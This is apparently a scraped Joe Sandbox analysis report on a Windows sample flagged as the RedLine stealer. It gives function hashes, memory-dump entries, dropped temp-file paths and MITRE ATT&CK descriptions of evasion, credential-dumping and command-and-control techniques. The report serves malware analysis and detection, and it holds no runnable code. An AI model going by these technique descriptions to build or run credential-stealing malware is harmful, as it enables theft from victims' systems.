API String ID:
Opcode ID: a676996e61c7e757eef97146bf1533a6bf9f2f87567a3879de885d12efe7ba88
Instruction ID: 5d3a13cc317c5aa89fb62fc28921646059310ece9e3e6dbb06189dc8773cce22
Opcode Fuzzy Hash: a676996e61c7e757eef97146bf1533a6bf9f2f87567a3879de885d12efe7ba88
Instruction Fuzzy Hash: B6913E35B102059FCB04DF69C884DAEBBF2FF89710B5584AAE909AB361DB71EC45CB50

Function 05DE11A8 Relevance: .2, Instructions: 202COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2203367388.0000000005DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5de0000_ep0X2wemcU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ac640740f2705f948b763ce760cb3450d04f954d1b346c23e3ed8ec77fb84455
Instruction ID: 6e617cb18c2d310d97f91a7f268c8c41141cdc087658d5961d58149ef598dc78
Opcode Fuzzy Hash: ac640740f2705f948b763ce760cb3450d04f954d1b346c23e3ed8ec77fb84455
Instruction Fuzzy Hash: 825128327082058FCB14AAF9DC8057AFBA6FFC6221B58817BD806CB251EF31C945C7A1

Function 0062D054 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2196877612.000000000062D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0062D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_62d000_ep0X2wemcU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1834436f96819d6ee9b46ddec10b9cf82cf21b13fcfb22979c47e4f96b291ac2
Instruction ID: 6dd1a24675e8023a09a95dbe25d9f95e0b92d0e86f851f8c6c8253bfa2892cc3
Opcode Fuzzy Hash: 1834436f96819d6ee9b46ddec10b9cf82cf21b13fcfb22979c47e4f96b291ac2
Instruction Fuzzy Hash: F421F4B2504640EFCB15DF14E9C4B26BB66FB88314F24C669EA090A656C336D826DFA1

Function 0063D474 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2196907556.000000000063D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0063D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_63d000_ep0X2wemcU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e65a1fe7cfd3b9b088247421c2bf793385631904ef9f98aa3e589f62e329f633
Instruction ID: 2cae983977914864d79c0339dc9ee85a12d09547e7f9aa2150627dd205a3a81d
Opcode Fuzzy Hash: e65a1fe7cfd3b9b088247421c2bf793385631904ef9f98aa3e589f62e329f633
Instruction Fuzzy Hash: 45212971504200EFCB04DF14E5C0B26BBA6FB84328F24C96DD80A4B356C737D85ACBA2

Function 0063D2C4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2196907556.000000000063D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0063D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_63d000_ep0X2wemcU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 316635bd0c3c7683bc26a6d88bb7204aae6d9ca21a90cefb28b92cec918f7d72
Instruction ID: 591d2c37f1f9a1acd35183c4c72da7822788dc12373d3c0885528c2cab15d852
Opcode Fuzzy Hash: 316635bd0c3c7683bc26a6d88bb7204aae6d9ca21a90cefb28b92cec918f7d72
Instruction Fuzzy Hash: A72138B1504200EFEB04DF14E9C0B2ABB66FB85324F24C56DE9494B346C33ADC46CAE2

Function 0062D04F Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2196877612.000000000062D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0062D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_62d000_ep0X2wemcU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad2dec59e3151889acede25dbdc09f1e0996748c90a37620c8196c664727292b
Instruction ID: c6755c58b7872a5127482ad6652676f90cfd0416a1060f040dc9f3e0828d68bd
Opcode Fuzzy Hash: ad2dec59e3151889acede25dbdc09f1e0996748c90a37620c8196c664727292b
Instruction Fuzzy Hash: 5021CD72404680DFCB16CF00E9C4B56BF72FB88314F2482A9DD480A656C33AD826CF91

Function 0063D46F Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2196907556.000000000063D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0063D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_63d000_ep0X2wemcU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 244c614e04a80719a4cbb1e35d09afbc7f52f2045db6f081cea45e42cbbeead8
Instruction ID: 91cbf288eae93f6d09ce310916089b448fb22e05c3ec4d4645ae3776ca983173
Opcode Fuzzy Hash: 244c614e04a80719a4cbb1e35d09afbc7f52f2045db6f081cea45e42cbbeead8
Instruction Fuzzy Hash: BC11DD75504280CFCB02CF10D5C0B15BBB2FB88328F24C6AAD8494B756C33AD85ACBA2

Function 0063D2BF Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2196907556.000000000063D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0063D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_63d000_ep0X2wemcU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6571a979d86382cef3f3a0ee6dcd591210bcaba3c37dfea3d6794a8d99f67603
Instruction ID: fd71b280baf017ad8c9ab209882a726204074990f52929dd356bc839ad86d489
Opcode Fuzzy Hash: 6571a979d86382cef3f3a0ee6dcd591210bcaba3c37dfea3d6794a8d99f67603
Instruction Fuzzy Hash: 8711E275504280CFDB11CF10E5C0B59FB62FB85324F24C6AAD8494B746C33AD84ACBA2

Non-executed Functions

Function 0068DC90 Relevance: 6.6, Strings: 5, Instructions: 370COMMON

Download Yara Rule

Strings

Hwq, xrefs: 0068DDA4
Xmc, xrefs: 0068DFC5
Xmc, xrefs: 0068DF16
Xmc, xrefs: 0068DDB5
Xmc, xrefs: 0068DCEF

Memory Dump Source

Source File: 00000000.00000002.2197090417.0000000000680000.00000040.00000800.00020000.00000000.sdmp, Offset: 00680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_ep0X2wemcU.jbxd

Similarity

API ID:
String ID: Hwq$Xmc$Xmc$Xmc$Xmc
API String ID: 0-2751699755
Opcode ID: 15e6988c234e306934a987be12ec07968fb19c4130db0478f99354468488582f
Instruction ID: c03c61f2cf9b8b134c8f96ba1503fe1500793bfbe8ba715d1aa19b526195b6c7
Opcode Fuzzy Hash: 15e6988c234e306934a987be12ec07968fb19c4130db0478f99354468488582f
Instruction Fuzzy Hash: E3D18E74B002148FDB04EB78D8946AEBBF7EF89300B158569E945DB3A1DB34DD02CBA1

Function 05D9D108 Relevance: 1.6, Strings: 1, Instructions: 366COMMON

Download Yara Rule

Strings

Hwq, xrefs: 05D9D4FB

Memory Dump Source

Source File: 00000000.00000002.2203309156.0000000005D90000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d90000_ep0X2wemcU.jbxd

Similarity

API ID:
String ID: Hwq
API String ID: 0-933684408
Opcode ID: 9630e6ea5b5d26cbca5d6fa2a839e5c82cb882b9ef9d7bc95b739e88bd8bbf85
Instruction ID: fddc175450c2797233dd17c621412d50ad32bf886b41901387cbde4a6d6edbe5
Opcode Fuzzy Hash: 9630e6ea5b5d26cbca5d6fa2a839e5c82cb882b9ef9d7bc95b739e88bd8bbf85
Instruction Fuzzy Hash: DBE19071A042668BCF19DF75C4501ADFBF3BF96300B14C666E886EB244E774EA85CB90

Function 05DE1530 Relevance: 10.3, Strings: 8, Instructions: 334COMMON

Download Yara Rule

Strings

T]c, xrefs: 05DE173E
l]c, xrefs: 05DE1977
L\c, xrefs: 05DE1666
D[c, xrefs: 05DE180E
|\c, xrefs: 05DE1708
d\c, xrefs: 05DE17AA
<]c, xrefs: 05DE169C
$]c, xrefs: 05DE1945

Memory Dump Source

Source File: 00000000.00000002.2203367388.0000000005DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5de0000_ep0X2wemcU.jbxd

Similarity

API ID:
String ID: $]c$<]c$D[c$L\c$T]c$d\c$l]c$|\c
API String ID: 0-2063190109
Opcode ID: 115fba705532525afdcb818d09d6ca8f045d54c782ab14488f742b08db2815e4
Instruction ID: 537043dfe3a6ba5bc9a3ce767a5a1236d757617072ae2a1c5cb2000ae2fd4765
Opcode Fuzzy Hash: 115fba705532525afdcb818d09d6ca8f045d54c782ab14488f742b08db2815e4
Instruction Fuzzy Hash: 4DC10639B00904AFCB04DF98D985EADBBB2FF89700F518095FA169B761CA72EC44CB55

Function 05DE0D50 Relevance: 10.3, Strings: 8, Instructions: 298COMMON

Download Yara Rule

Strings

$sq, xrefs: 05DE0F50
$sq, xrefs: 05DE0E1C
$sq, xrefs: 05DE0E42
$sq, xrefs: 05DE0F82
$sq, xrefs: 05DE0F76
$sq, xrefs: 05DE0DCC
$sq, xrefs: 05DE0F00
$sq, xrefs: 05DE0E4E

Memory Dump Source

Source File: 00000000.00000002.2203367388.0000000005DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5de0000_ep0X2wemcU.jbxd

Similarity

API ID:
String ID: $sq$$sq$$sq$$sq$$sq$$sq$$sq$$sq
API String ID: 0-3003498
Opcode ID: b6dd0a22bbc8ad104cc461f0d298885abaf4de1281bcd344983f37ad022fc0fb
Instruction ID: 8206c308f63558bacf5fd793a438d537848a1ce285cfa0a5822f34d475a09360
Opcode Fuzzy Hash: b6dd0a22bbc8ad104cc461f0d298885abaf4de1281bcd344983f37ad022fc0fb
Instruction Fuzzy Hash: 0DB1AD30B042459FCB19EBA9C858ABEBBF3BF89700B14846AE416D7391DB70DC45CB90

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report ep0X2wemcU.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: RedLine

Yara Signatures

Initial Sample

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\ep0X2wemcU.exe.log

C:\Users\user\AppData\Local\Temp\tmp1224.tmp

C:\Users\user\AppData\Local\Temp\tmp1225.tmp

C:\Users\user\AppData\Local\Temp\tmp1236.tmp

C:\Users\user\AppData\Local\Temp\tmp1247.tmp

C:\Users\user\AppData\Local\Temp\tmp1257.tmp

C:\Users\user\AppData\Local\Temp\tmp1268.tmp

C:\Users\user\AppData\Local\Temp\tmp1278.tmp

C:\Users\user\AppData\Local\Temp\tmp1289.tmp

C:\Users\user\AppData\Local\Temp\tmp2C50.tmp

C:\Users\user\AppData\Local\Temp\tmp2C60.tmp

C:\Users\user\AppData\Local\Temp\tmp2C81.tmp

C:\Users\user\AppData\Local\Temp\tmp2C82.tmp

C:\Users\user\AppData\Local\Temp\tmp2C92.tmp

Windows Analysis Report
ep0X2wemcU.exe